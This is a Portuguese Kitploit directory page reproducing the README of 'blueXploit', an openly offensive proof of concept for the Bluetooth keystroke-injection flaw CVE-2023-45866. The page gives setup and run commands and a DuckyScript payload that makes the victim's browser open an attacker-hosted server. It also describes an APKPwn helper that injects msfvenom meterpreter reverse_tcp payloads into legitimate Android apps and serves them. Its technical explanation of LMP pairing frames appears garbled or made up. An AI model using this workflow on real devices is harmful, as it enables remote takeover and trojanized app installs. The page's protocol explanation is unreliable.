Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
blueXploit — Exploit baseado em vulnerabilidades críticas Bluetooth (CVE-2023-45866, CVE-2024-21306) | Kitploit
Ferramentas/GitHubGitHub/danyw24/bluexploit
Segurança BluetoothGeração de PayloadsExploraçãoSegurança Sem FioTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdanyw24/bluexploit

blueXploit

Exploit baseado em vulnerabilidades críticas Bluetooth (CVE-2023-45866, CVE-2024-21306)

Ver Repositório
14241há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

blueXploit

image

vídeo do blueXploit

  • blueXploit é a minha própria prova de conceito que reproduz a CVE-2023-45866, a vulnerabilidade de injeção de teclas por Bluetooth descoberta por Marc Newlin. Ela explora uma falha no protocolo Bluetooth para injetar teclas num dispositivo alvo sem emparelhamento, abrindo caminho para ataques mais complexos.

Atribuição. A vulnerabilidade e o exploit original são trabalho de Marc Newlin (hi_my_name_is_keyboard) — eu não reivindico a descoberta. Este repositório é uma reprodução criada para compreender e documentar o bug; sobre ela, o blueXploit acrescenta um executor de payloads ao estilo DuckyScript, um mecanismo de reconexão/retry e um auxiliar opcional de injeção de APK em Android. Tudo aqui é apenas para educação e investigação.

Como funciona a vulnerabilidade

Estas vulnerabilidades críticas (CVE-2023-45866, CVE-2024-21306) permitem que um atacante injete teclas e aceite pedidos de emparelhamento sem confirmação do utilizador. Isto afeta criticamente a segurança de vários sistemas operativos.

Sistemas afetados

  • Android: 4.2 a 14 (11–14 se faltar o patch de 2023-12-05)
  • Linux: requer um patch do BlueZ.
  • macOS: 12 a 14.2 (correção parcial).
  • iOS: 16 (vulnerável), corrigido no iOS 17.2.
  • Windows: corrigido na "Patch Tuesday" de janeiro de 2024.

Impacto

  • A vulnerabilidade permite o controlo remoto de um dispositivo através da injeção de teclas mesmo sem aceitar o emparelhamento Bluetooth, forçando a ligação e executando comandos de teclas.

Exemplos de ataques

  • Execução remota de comandos: controlo de dispositivos vulneráveis através de teclas injetadas, em que os vetores de ataque são múltiplos — desde obter uma shell até instalar aplicações maliciosas.
  • Ataques de negação de serviço (DoS): inundar dispositivos com pedidos de emparelhamento.

Mitigação

  • Atualize os dispositivos com os patches de sistema mais recentes.
  • Desligue o Bluetooth quando não estiver a ser utilizado (isto impede a execução de qualquer exploit para esta vulnerabilidade).
  • Evite emparelhar com dispositivos desconhecidos.

blueXploit - utilização e demonstração

  • Baseado no exploit original de Marc Newlin.

  • Instalar as dependências

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Usando APKPwn + blueXploit

blueXploit inclui ferramentas para explorar vulnerabilidades em dispositivos Android, oferecendo dois componentes principais e um programa adicional chamado apkpwn_injector, localizado na pasta injector.

Recursos do APKPwn

  • Automatiza a criação de payloads android/meterpreter/reverse_tcp usando msfvenom.
  • Injeta esses payloads em aplicações .apk existentes na pasta apk_clean.
  • Configura um servidor local para servir as aplicações maliciosas geradas.

Esses recursos permitem um fluxo de ataque eficiente e simplificado em ambientes controlados ou para testes de penetração.

image

cd injector
python3 apkpwn_injector.py

Criar ou editar um duckypayload

Os comandos de tecla executados pelo blueXploit são carregados a partir da pasta /injector/payloads/ em formato .txt, com uma sintaxe simples e fácil de entender.

exemplo de duckypayload

DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             

Altere o endereço IP para o endereço onde o servidor está hospedado.

Detecção e enumeração de dispositivos

bluetoothctl

Procurar dispositivos Bluetooth

scan on

Executar

python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF

Em seguida, selecione o payload necessário, previamente configurado.

Demonstração

A demonstração completa está neste vídeo

Hardware utilizado

  • Raspberry Pi 4
  • Kali Linux ARM64

CVE-2023-45866 explicada

Esta vulnerabilidade é explorada num nível baixo do protocolo Bluetooth, manipulando principalmente o perfil HID e o protocolo L2CAP para injetar sequências de teclas num dispositivo vítima.

1. O protocolo Bluetooth a baixo nível

A pilha Bluetooth inclui várias camadas, como o Link Manager Protocol (LMP), o Host Controller Interface (HCI) e o L2CAP. Este ataque utiliza principalmente as duas últimas:

  • HCI: a configuração do adaptador é manipulada para que este se apresente como um dispositivo HID legítimo.

  • L2CAP: responsável pela multiplexagem de dados entre dispositivos, o L2CAP utiliza o canal 17 (HID Control) e o canal 19 (HID Interrupt) para a comunicação HID, o que pode ser explorado para enviar sequências de teclas.

Explorar a CVE-2023-45866

A CVE-2023-45866 é uma vulnerabilidade no Link Manager Protocol (LMP), explorada através de um ataque de "emparelhamento forçado". Eis como é realizado tecnicamente:

  • O LMP gere os pedidos de emparelhamento e a configuração da ligação.
  • Pacotes LMP malformados ou não autenticados são enviados para forçar o emparelhamento, assim:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00

Neste data frame:

  • 0x01: solicitação de emparelhamento LMP
  • 0x01: solicitação de autenticação LMP (PIN)
  • 0x00 0x00 0x00 0x00: informação de PIN fraca, geralmente 0000

Aqui o exploit aproveita a ausência de configuração e autenticação para este pacote, que acaba retornando:

  LMP Accept: 0x02 0x00 0x00 0x00 0x00

Neste data frame:

  • 0x02: solicitação de emparelhamento LMP ACEITA
  • 0x00 0x00 0x00 0x00: informação de PIN malformada retornada

Se a chave não for validada corretamente, a conexão é estabelecida, mas sem um emparelhamento real, de modo que um pacote LMP de emparelhamento forçado pode ser enviado assim:

  LMP Forced Pairing: 0x03 0x01 0x0000

A autenticação pode então ser forçada usando chaves previamente vazadas (como "0000") e um canal de comunicação encriptado estabelecido, emparelhando os dispositivos sem passar por um processo de verificação adequado.

Isto cria um emparelhamento sem o utilizador saber, e mesmo sem qualquer janela de emparelhamento ou notificação.

A falha nesta CVE é que certos dispositivos não validam corretamente os pedidos de autenticação LMP, ou acabam por reutilizar chaves antigas.

Assim, uma vez emparelhado com o dispositivo — bang! — o resto é fácil: em blueXploit.py o adaptador e o dispositivo atuam como e falsificam dados de identificação. Neste caso, são executados comandos como estes:

hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540  # HID class (keyboard)

código blueXploit

Baixar ferramenta